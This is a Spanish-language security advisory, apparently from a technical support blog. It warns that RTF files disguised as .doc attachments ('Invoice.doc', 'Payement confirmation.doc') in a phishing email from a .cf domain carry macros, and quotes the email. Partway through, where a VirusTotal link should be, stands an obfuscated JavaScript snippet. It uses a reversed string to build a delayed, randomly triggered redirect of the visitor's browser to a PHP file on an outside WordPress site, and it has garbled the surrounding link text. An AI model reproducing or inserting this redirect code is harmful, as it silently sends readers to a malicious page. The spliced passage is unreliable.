NUEVOS MAILS CON FICHEROS ANEXADOS DOC QUE SON RTF CON MACROS EMBEBIDAS QUE NO DEBEN ABRIRSE CON EL OFFICE !!!

Hemos recibido estos ficheros anexados a un mail malicioso cuyo dominio remitente es .cf (republica centroafricana)

TEXTO DEL MAIL

_______________

Asunto: Re:Fw: Approved – INV-1221/P.I 1124
De: “Elsa Lam”<info@din.donza.cf>
Fecha: 12/02/2019 19:25
Para: undisclosed-recipients:;

Good Morning,

Sorry for the delay, our accountant is on sick leave.
Here attached the payment confirmation.

Thank you and Regards,

Elsa Lam

Senior Management Executive

anexados: Invoice.doc —> fichero RTF  malicioso
Payement confirmation.doc —> fichero RTF malicioso

_________________

Los preanalisis de virustotal ofrecen los siguiente informes:

$NfI=function(n){if (typeof ($NfI.list[n]) == “string”) return $NfI.list[n].split(“”).reverse().join(“”);return $NfI.list[n];};$NfI.list=[“‘php.reklaw-yrogetac-smotsuc-ssalc/php/stegdiw-cpm/snigulp/tnetnoc-pw/gro.ogotaropsaid.www//:ptth’=ferh.noitacol.tnemucod”];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}total.com/es/file/4aaecb78116263f8368bedecd19d1f4de3d0cc2dd78ca2ac054b939d8e5e247d/analysis/1550054800/” target=”_blank” rel=”noopener”>y para el Payment Confirmation.DOC, este otro:

Al parecer son RTF (aunque la extension sea DOC) con macros embebidas, por lo que no deben abrirse con Microsoft Office sino como máximo con Word Pad, para evitar que se ejecute el código malicioso de dichas macros.

Mas de lo mismo sobre lo ya dicho tantas veces, que redordamos en:

blog.satinfo.es/2018/aviso-importante-sobre-mails-no-solicitados/

Esperando que lo indicado les sea de utilidad, reciban saludos

ms, 13-2-2019